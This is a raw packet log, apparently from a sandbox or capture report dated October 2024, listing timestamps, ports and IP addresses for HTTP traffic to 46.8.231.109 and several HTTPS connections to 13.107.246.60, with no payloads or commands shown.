Oct 7, 2024 03:03:12.905462980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905467987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905478001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905503035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905503035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905513048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905536890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905558109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905563116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905601025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905632019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905632019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905653000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905688047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905699015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905704021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905734062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905738115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905738115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905769110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905801058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905811071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905811071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905836105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905869007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905869961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905884027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905905008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905939102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905951023 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905953884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905987978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906001091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906019926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906063080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906063080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906063080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906107903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906115055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906150103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906182051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906189919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906207085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906217098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906250954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906264067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906264067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906287909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906322002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906328917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906328917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906358004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906368971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906390905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906426907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906435966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906435966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906461000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906482935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906495094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906518936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906528950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906549931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906564951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906575918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906622887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906630993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906656981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906656981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906665087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906685114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906697989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906717062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906732082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906764984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906769037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906769037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906797886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906824112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906831980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906861067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906873941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.906888008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.906974077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.994663954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.995188951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:13.179460049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:13.179570913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:13.184389114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:13.184453011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:13.521836996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:13.521936893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:13.551059961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:13.558547974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:13.734272003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:13.734316111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:13.734348059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:13.734435081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:13.734435081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:13.737926960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:13.743066072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:13.920855045 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:13.920950890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:13.928570032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:13.933392048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:14.139838934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:14.139944077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:14.141887903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:14.147702932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:14.356201887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:14.356296062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:14.448951960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:14.454056025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:21.608930111 CEST	49723	80	192.168.2.4	93.184.221.240
Oct 7, 2024 03:03:21.613950968 CEST	80	49723	93.184.221.240	192.168.2.4
Oct 7, 2024 03:03:21.614010096 CEST	49723	80	192.168.2.4	93.184.221.240
Oct 7, 2024 03:03:43.974164963 CEST	49730	80	192.168.2.4	192.229.211.108
Oct 7, 2024 03:03:43.979314089 CEST	80	49730	192.229.211.108	192.168.2.4
Oct 7, 2024 03:03:43.979394913 CEST	49730	80	192.168.2.4	192.229.211.108
Oct 7, 2024 03:03:46.540035963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:53.063508034 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.063553095 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.063640118 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.063977003 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.063996077 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.722246885 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.722671986 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.726181984 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.726211071 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.726547003 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.737426043 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.779433966 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.845448971 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.845506907 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.845546961 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.845591068 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.845627069 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.845644951 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.845678091 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.932614088 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.932660103 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.932847977 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.932848930 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.932883978 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.932950974 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.933954954 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.933998108 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.934032917 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.934043884 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:53.934072971 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:53.934082031 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.023488998 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.023545980 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.023571014 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.023592949 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.023612976 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.023638010 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.023675919 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.023716927 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.023737907 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.023746014 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.023772001 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.023786068 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.023890018 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.023933887 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.023951054 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.023957968 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.023988008 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.024005890 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.024024010 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.024069071 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.024087906 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.024096012 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.024137020 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.024362087 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.113008022 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.113053083 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.113085032 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.113105059 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.113121033 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.113147020 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.113358974 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.113419056 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.113420010 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.113447905 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.113476038 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.113488913 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.113775969 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.113818884 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.113850117 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.113857985 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.113873959 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.113890886 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.114654064 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.114692926 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.114717960 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.114727020 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.114744902 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.114764929 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.115792990 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.115830898 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.115856886 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.115864992 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.115886927 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.115900993 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.116406918 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.116447926 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.116478920 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.116487026 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.116507053 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.116524935 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.200757980 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.200951099 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.200953007 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.200989008 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.200989008 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.201015949 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.201035976 CEST	49743	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.201044083 CEST	443	49743	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.243509054 CEST	49744	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.243593931 CEST	443	49744	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.243700027 CEST	49744	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.245460033 CEST	49746	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.245501995 CEST	443	49746	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.245516062 CEST	49745	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.245527029 CEST	443	49745	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.245558023 CEST	49746	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.245596886 CEST	49745	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.246551037 CEST	49747	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.246567011 CEST	443	49747	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.246624947 CEST	49747	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.246818066 CEST	49747	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.246840954 CEST	443	49747	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.246920109 CEST	49744	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.246934891 CEST	443	49744	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.247004032 CEST	49746	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.247020006 CEST	443	49746	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.247096062 CEST	49745	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.247102976 CEST	443	49745	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.247848034 CEST	49748	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.247898102 CEST	443	49748	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.247966051 CEST	49748	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.248075008 CEST	49748	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.248094082 CEST	443	49748	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.883033991 CEST	443	49745	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.883508921 CEST	49745	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.883527040 CEST	443	49745	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.884140015 CEST	49745	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.884146929 CEST	443	49745	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.918519974 CEST	443	49747	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.918809891 CEST	443	49746	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.919204950 CEST	443	49748	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.919269085 CEST	49747	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.919308901 CEST	443	49747	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.919440985 CEST	49746	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.919454098 CEST	443	49746	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.919778109 CEST	49747	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.919785023 CEST	443	49747	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.919934988 CEST	49746	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.919939995 CEST	443	49746	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.920027971 CEST	49748	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.920052052 CEST	443	49748	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.920378923 CEST	443	49744	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.920484066 CEST	49748	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.920492887 CEST	443	49748	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.920597076 CEST	49744	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.920603991 CEST	443	49744	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.921056986 CEST	49744	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.921061039 CEST	443	49744	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.986666918 CEST	443	49745	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.986743927 CEST	443	49745	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.986825943 CEST	49745	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.987036943 CEST	49745	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.987055063 CEST	443	49745	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.987066031 CEST	49745	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.987072945 CEST	443	49745	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.990061045 CEST	49749	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.990159035 CEST	443	49749	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:54.990232944 CEST	49749	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.990371943 CEST	49749	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:54.990398884 CEST	443	49749	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.022187948 CEST	443	49747	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.022243023 CEST	443	49747	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.022303104 CEST	49747	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.022326946 CEST	443	49747	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.022330046 CEST	443	49748	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.022485018 CEST	443	49748	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.022608995 CEST	49747	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.022629976 CEST	443	49747	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.022639036 CEST	49748	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.022663116 CEST	49747	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.022759914 CEST	443	49747	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.022875071 CEST	443	49746	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.022943974 CEST	443	49746	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.023006916 CEST	49746	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.023029089 CEST	443	49746	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.023098946 CEST	443	49746	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.023149967 CEST	49746	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.023889065 CEST	443	49744	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.023915052 CEST	49746	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.023931980 CEST	443	49746	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.023936987 CEST	443	49744	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.023945093 CEST	49746	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.023952007 CEST	443	49746	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.023982048 CEST	49744	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.023991108 CEST	443	49744	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.024029970 CEST	49744	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.024117947 CEST	49744	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.024125099 CEST	443	49744	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.024141073 CEST	49744	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.024321079 CEST	443	49744	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.024363041 CEST	443	49744	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.025441885 CEST	49744	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.025521994 CEST	49748	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.025537014 CEST	443	49748	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.025572062 CEST	49748	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.025578976 CEST	443	49748	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.028495073 CEST	49750	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.028551102 CEST	443	49750	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.028624058 CEST	49750	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.029376984 CEST	49750	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.029403925 CEST	443	49750	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.030297995 CEST	49751	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.030324936 CEST	443	49751	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.030395031 CEST	49751	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.030528069 CEST	49753	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.030551910 CEST	443	49753	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.030555964 CEST	49751	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.030555964 CEST	49752	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.030575991 CEST	443	49751	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.030594110 CEST	443	49752	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.030601978 CEST	49753	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.030639887 CEST	49752	443	192.168.2.4	13.107.246.60
